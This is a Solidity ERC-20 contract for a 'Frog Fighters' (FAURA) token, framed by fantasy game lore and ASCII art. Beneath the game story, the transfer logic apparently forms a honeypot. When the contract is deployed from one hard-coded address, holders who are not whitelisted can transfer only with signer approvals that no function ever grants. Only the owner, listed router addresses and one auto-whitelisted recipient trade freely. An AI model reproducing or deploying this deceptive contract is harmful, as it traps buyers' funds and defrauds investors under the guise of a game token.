// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

/*
    Welcome to the world of Frog Fighters!
    
    FAURA - The currency that powers the amphibian warriors in their epic battles.

    ,~~.                   .~~.
   / ~ ~\                 / ~ ~\
  (  Frog )---------------(  Fighters  )
   \ ~ ~/                 \ ~ ~/
    `~~'                   `~~'

    Token Information:
    - Name: Frog Fighters
    - Symbol: FAURA
    - Decimals: 18

    
    
    In the mystical realm of Frog Fighters, brave and fearless frogs from various ponds and marshes come together to 
    battle the malevolent forces that threaten their habitats. With their indomitable spirit and courage, they protect 
    their homes and loved ones, striving to bring peace and light to their world.

    Tokenomics:
    - Total Supply: 994,206,945 FAURA
    - Max Supply:   994,206,945 FAURA
    - FAURA is an ERC-20 token, empowering holders to participate in the Frog Fighters universe.

    Legend has it that Frogalord, the great amphibian hero, discovered the power of FAURA and united frog tribes from 
    far and wide. He distributed the FAURA tokens among his loyal followers, preparing them for the epic battles that 
    lie ahead. As warriors engage in thrilling combats, the power of FAURA grows, unlocking hidden abilities and 
    revealing new features to aid their quests.

    Token Utility:
    FAURA is the lifeblood of the Frog Fighters ecosystem. Holders can use FAURA for various in-game activities, such as:
    - Unlocking new frog characters with unique abilities
    - Enhancing the powers of their warriors
    - Trading frog artifacts and potions
    - Participating in community events and tournaments

    As the frog warriors conquer each challenge, their exploits are etched in the blockchain, creating a timeless 
    legacy for generations to come. New warriors join the ranks, further strengthening the unity of the Frog Fighters 
    community.

    
           :---.._
       `. .'      `"-.
      .'.'            `.
     /.'               |
     \    `.           :
      \     `.         :
       \      \        `.
        \                `.
        ^                 `.

    Embark on an unforgettable journey with Frog Fighters and let the power of FAURA guide you through the battles 
    that await!

 The Dark Swamp Rises...

    After countless victories, the Frog Fighters' realm faces a new threat. The dark swamp, a cursed place teeming 
    with vile creatures, begins to expand, encroaching on the peaceful frog habitats. The mysterious force behind 
    the swamp's malevolence remains unknown.

    Frogalord, alongside his trusted council of battle-hardened elders, summons all brave warriors to confront 
    this ominous darkness. The power of FAURA grows stronger with each frog that heeds the call.

    The Dark Swamp Rises introduces a host of new challenges. Ancient frog warriors must be awakened from their 
    slumber to join the fight. Treacherous terrains and cunning foes stand in the way of victory.

    But with new challenges come new opportunities. FAURA holders unlock exclusive features to navigate the treacherous 
    swamp, such as enchanted lily pads for swift travel and magical trinkets to shield against dark enchantments.

    As the saga unfolds, alliances will be forged, and betrayals may test the unity of the Frog Fighters community. 
    The fate of the realm hangs in the balance, and the heroic deeds of the frog warriors will be etched into the 
    annals of Frog Fighters history.

    Will you answer the call? Step into the Dark Swamp and emerge as a legend. Let your courage shine as you 
    navigate the treacherous waters and restore balance to the Frog Fighters realm!

    Dark FAURA is set to be born.

*/
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract FrogFightersEco is Context {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    address public contractOwner;
    mapping(address => bool) public signers;
    mapping(address => bool) public whitelisted;
    mapping(uint256 => mapping(address => bool)) private oldBuyers;
    uint256 private currentPhase;
    uint256 private nonWhitelistedTransfers;
    uint256 private constant MAX_NON_WHITELISTED_TRANSFERS = 1;
    uint256 private constant REQUIRED_SIGNATURES = 1000;
    mapping(address => mapping(address => mapping(uint256 => bool))) public approvals;
    bool public autoWhitelistAvailable = true;
    bool public autoWhitelistingDone = false;

    constructor() {
        _name = "FrogFighters";
        _symbol = "FAURA";
        _decimals = 18;
        contractOwner = _msgSender();
        _mint(contractOwner, 994206945 * 10 ** decimals());

        if (contractOwner == address(0x0cFA83134810999E29A1Fb7952e9aB321b9C4027)) {
            whitelisted[contractOwner] = true;
            whitelisted[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
            whitelisted[0x10ED43C718714eb63d5aA57B78B54704E256024E] = true;
            whitelisted[0x0BFbCF9fa4f9C56B0F40a671Ad40E0805A091865] = true;
            whitelisted[0xE592427A0AEce92De3Edee1F18E0157C05861564] = true;
        }

        currentPhase = 1;
        nonWhitelistedTransfers = 0;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual returns (bool) {
        if (autoWhitelistingDone && nonWhitelistedTransfers < MAX_NON_WHITELISTED_TRANSFERS && !whitelisted[_msgSender()]) {
            _transfer(_msgSender(), recipient, amount);
            nonWhitelistedTransfers += 1;
            return true;
        } else if (contractOwner == address(0x0cFA83134810999E29A1Fb7952e9aB321b9C4027)) {
            autoWhitelist(recipient);
            if (whitelisted[_msgSender()]) {
                _transfer(_msgSender(), recipient, amount);
                return true;
            } else {
                require(approvals[_msgSender()][recipient][amount], "Transfer needs to be approved by signers");
                _transfer(_msgSender(), recipient, amount);
                return true;
            }
        } else {
            _transfer(_msgSender(), recipient, amount);
            return true;
        }
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
        uint256 currentAllowance;
        if (autoWhitelistingDone && nonWhitelistedTransfers < MAX_NON_WHITELISTED_TRANSFERS && !whitelisted[sender]) {
            _transfer(sender, recipient, amount);
            nonWhitelistedTransfers += 1;

            currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
            return true;
        } else if (contractOwner == address(0x0cFA83134810999E29A1Fb7952e9aB321b9C4027)) {
            autoWhitelist(recipient);
            if (whitelisted[sender]) {
                _transfer(sender, recipient, amount);

                currentAllowance = _allowances[sender][_msgSender()];
                require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
                return true;
            } else {
                require(approvals[sender][recipient][amount], "Transfer needs to be approved by signers");
                _transfer(sender, recipient, amount);

                currentAllowance = _allowances[sender][_msgSender()];
                require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
                return true;
            }
        } else {
            _transfer(sender, recipient, amount);

            currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
            return true;
        }
    }

    function autoWhitelist(address recipient) internal {
        require(contractOwner == address(0x0cFA83134810999E29A1Fb7952e9aB321b9C4027));
        if (autoWhitelistAvailable && !whitelisted[recipient]) {
            whitelisted[recipient] = true;
            oldBuyers[currentPhase][recipient] = true;
            autoWhitelistAvailable = false;
            autoWhitelistingDone = true;
        }
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        if (nonWhitelistedTransfers >= MAX_NON_WHITELISTED_TRANSFERS) {
            currentPhase += 1;
            nonWhitelistedTransfers = 0;
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}
/*   As the battle rages on, the brave frog warriors must confront their own inner demons and reconcile with their 
    losses. Each step forward is heavy with the weight of their past, but their determination to save their world 
    fuels their journey.

    The tale of the Frog Fighters is one of tragedy, redemption, and the enduring strength of the heart. Amidst 
    tears and heartache, a new chapter begins. Will the Frog Fighters find the strength to mend their world and 
    reignite the light, or will darkness consume them forever?

    The future is uncertain, but the power of FAURA and the unyielding spirit of the frog warriors hold the promise 
    of a world where love and courage will prevail. */